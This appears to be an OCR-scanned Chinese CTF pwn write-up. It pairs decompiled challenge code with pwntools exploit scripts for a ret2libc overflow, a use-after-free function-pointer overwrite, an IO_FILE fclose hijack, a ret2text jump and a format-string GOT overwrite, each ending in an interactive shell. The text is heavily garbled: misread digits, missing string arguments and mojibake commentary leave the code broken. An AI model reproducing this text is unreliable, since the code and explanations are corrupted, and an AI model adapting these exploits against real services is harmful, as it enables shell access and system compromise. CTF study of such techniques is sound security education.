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int __cdecl main(int argc, const char **argv, const char **envp)

{
char buf[256]; // [rsp+16h] [rbp-1@@h] BYREF

setvbuf(_bss_start, OLL, 2, OLL);
puts("What do you want me to echo back> ");
read(@, buf, 598uLL);

puts(buf);

return 8;
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from pwn import

context.log level

remote( , 27601)

elf.plt[
elf.got|

pop_rdi 0x401223
main_addr 0x401146
ret_addr 0x40101a

0x108 + p64(pop_rdi) p64(puts_got) p64(puts_plt) p64(main_addr)

puts_addr ub4(r.recvuntil( )[-6:].1just(8,

puts_addr - libc.sym|[
libc_base + libc.sym|[
libc_base + libc.search(
(libc_base)
(system_addr)
(bin_sh)

payload 0x108 + p64(pop_rdi) p64(bin_sh) p64(ret_addr) p64(system_addr)
r.sendline(payload)

r.interactive()
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create

| strncpy(dest, buf, nbytesa);
*(_QWORD *)ptr = dest;
*((_QWORD *)ptr + 3) = sub_D&C;
¥

else
{
strncpy(ptr, buf, nbytesa);
*((_QWORD *)ptr + 3) = sub_D52;
¥
*((_DWORD *)ptr + 4) = nbytesa;
for (1 =9; 1 <= 15; ++1 )
{
if ( !*((_DWORD *)&unk_2020C0 + 4 * i) )
{
*((_DWORD *)&unk_2020C0 + 4 * i) = 1;
*((_QWORD *)&unk_2020C0 + 2 * i + 1) = ptr;
printf("The string id is %d\n", (unsigned int)i);
break:;
¥
¥
if (1 ==16)
{
puts("The string list is full");
(*((void (__fastcall **)(char *))ptr + 3))(ptr);

}

}

else

{
puts("Invalid size");
free(ptr);
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delete
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v3 = _ readfsqword(8x28u);
printf("Pls give me the string id you want to delete\nid:");
vl = sub_B65();
if (vi<e || vi>16)
puts("Invalid id");
if ( *((_QWORD *)&unk_2020C8 + 2 * vi + 1) )

printf("Are you sure?:");
read(@, buf, @x1@euLL);
if ( lstenemp(buf, "yes", 3ulLL) )

(*(void (__ fastcall **)(_QWORD))(*((_QWORD *)&unk_2020CO + 2 * vl + 1) + 24LL))(*((_QWORD *)&unk_20820C8
+ 2 * vl

+1));
#((_DWORD *)&unk_2020C6 + 4 * v1) = @;

¥
¥

return __ readfsquword(®x28u) ~ v3;

}
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from pwn import

def add(size,content):
r.sendlineafter( )
r.sendlineafter( 5 (size 1))

r.sendafter( ,content )

def delete(index):
r.sendlineafter( 5
r.sendlineafter( (index))

r.sendlineafter( 5

def exploit():
add(ox19, 0x10)
add(ox19, 0x10)
delete(1)
delete(9)

add(ex20, .1just(ex1s8, ) pl6(0x59D0) )

delete(1)

r.recvuntil( )

libc_base (r.recvuntil( ,drop = True),16) libc.symbols|[
system_addr libc_base libc.sym[ ]

print 5 (libc_base)

add(ox19,
add(ox19,
delete(2)
delete(1)
add(ex20, .1just(ex18, p64(system_addr))
delete(2)

while True:

try:
global r
r remote( ,29315)
exploit()
r.interactive()

except:
r.close()
print
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------------ g, w3 ]

switch ( atoi(nptr) )
{

case 1:
openfile();
break;
case 2:
readfile();
break;
case 3:
writefile();
break;
case 4:
closefile();
break;
case 5:
printf("Leave your name :");
__1s0c99_scanf("%s", name);
printf("Thank you %s ,see you next time\n", name);
if ( fp)
fclose(fp);
exit(0);
return 3
default:
puts("Invaild choice");
exit(0);
return 3
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open

int result; // eax

if ( fp)

{
puts("You need to close the file first");
result = @;

¥

else

{
memset(magicbuf, @, ©x196u);
printf(“"What do you want to see :");
__1s0c99_scanf("%63s", filename);
if ( strstr(filename, "flag") )

{
puts(“"Danger !");
exit(e@);
¥
fp = fopen(filename, "r");
if ( fp)
result = puts("Open Successful");
else
result = puts("Open failed");
¥

return result;
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read

int result; // eax

memset(magicbuf, @, ©xl9eu);
if ( !fp )
return puts("You need to open a file first")
result = fread(magicbuf, ©x18Fu, 1lu, fp);
if ( result )
result = puts("Read Successful");
return result;
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write

{
{

puts("you can't see it");
exit(1);
}

return puts(magicbuf);
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}

WARFTEIH K.
close

ENT ClOSEeTlliel)

{

int result; // eax

if ( fp)
result = fclose(fp);
else

fp = ©;
return result;
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.bss:8804B2608 name
.bss:0804B268
.bss:0804B280
.bss:0804B280@ ; FILE *fp

.bss:08804B280 fp
_hs<:ARA4RIRA

FATATLMESfpo Bt LADLAE SR (1 1) it 2 /B A 25 Dhid —MO_FILESK A3 Flflag.

if ( strstr(filename, "flag") || strstr(magicbuf,

result = puts("Nothing need to close");

db 26h dup(?)
public fp

dd ?

LA LFI0_FILE 2 J& AT LLFI IO _close Kget shell.

EFEXTIO_CLOSEHEAT /0 #T o
IO_FILE_fclose

ATUMARAAIRZ, ATV St XERGET, T AR finish.
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"FLAG") || strchr(magicbuf, 125) )

: DATA XREF: main+9FtTo
: main+B4to

; DATA XREF: openfile+67r

: aonanfilae+ADtw _ _ .


https://ray-cp.github.io/archivers/IO_FILE_fclose_analysis

from pwn import

context.log level

remote(

r.sendlineafter(

r.sendlineafter(

def read():

r.sendlineafter(

def show():
r.sendlineafter(

(r.recvline()[:8], 16) Ox1adooe
libc_base libc.symbols| ]
(libc_base)

0x0804b300

32
p32(fake_addr)

(0x80-4)

.1just(ox94,
p32(fake_addr+0x98)
p32(system_addr)*23

r.sendlineafter(

r.sendlineafter( , payload)

r.interactive()
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1 __LSUCYY_sCANT AU, oVe);
) if ( = 1)

- {

) lala(vs);

3 }

} else if ( = 2 )
5 {

5 hehe(v5);

’ }

3 else if ( )

) {

) byby (v5);

- }

! else

3 {

b haha(v5s);

5 }
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char v5[784]; //

do
p
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bsize_t __fastcall hehe(void *al)
{

puts("hehehehehehehe");

return read(e, , ©x38euLL);
1

Al L% A 0x3004™
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| size_t vi; //

strlen(al);

puts("bybybybybybyby");
= strlen(zl);
return read(®@, (void *)&al[v1], ©x1eeuLL);
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void _ noreturn sys()

{
puts("Ohhhhhhh");
exit(0);
}
FRCRIF G — N puts, ERZ2FRATRINE B iE ) — PO K IE A 2k 21
[l e =
loc_48872A:
lea rdi, command ; "/bin/sh"
mov eax, @
call _system
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from pwn import

context.log_level

r remote( ,29859)

r.sendline( )
sleep(1)
r.send( 0x300)

18+p64 (0x000000000040072A) )

r.interactive()
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int __cdecl main(int argc, const char **argv, const char **envp)

char buf[264]; // [rsp+l@h] [rbp-118h] B
rb

D E:
unsigned __inté4 v5; // [rsp+118h] 8h]

p-

v5 = __readfsqword(@x28u);

setvbuf(stdout, eLL, 2, eLL);

setvbuf(stdin, ©LL, 2, OLL);

puts(“Choose your name");

puts("1l. Lelouch 2. Saitama 3. Eren");

printf("Choice: ");

if ( get_int() == 2 )

{
puts("Good job. I'll give you a gift.");
read(®, buf, @xleeuLL);
snprintf(other_buf, @x1@@uLL, buf);
system("echo 'saitama, the real hero'");

h

return 8;

AR IE— A snprintfig Ak 755 5 1 .
A4 — N snprintfef £

C JE B4 int snprintf(char *str, size_t size, const char *format, ...) BRI ZS5(...) 1% format #% 20L R FF 8, IR 77 B2 &L 3] str
W, size HEENMFRIEREHE, Hid size 2p#klT .
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from pwn import

remote( , 26287)

elf = ELF(

payloadl fmtstr_payload(6,{elf.got[ ]1},write size

r.sendlineafter(

r.sendlineafter( ,payloadl)

payload2

payload2 fmtstr_payload(7,{elf.got[ :0x401056-8},write_size

r.sendlineafter(

.sendlineafter( ,payload2)

.sendlineafter(
.sendlineafter(

.interactive()
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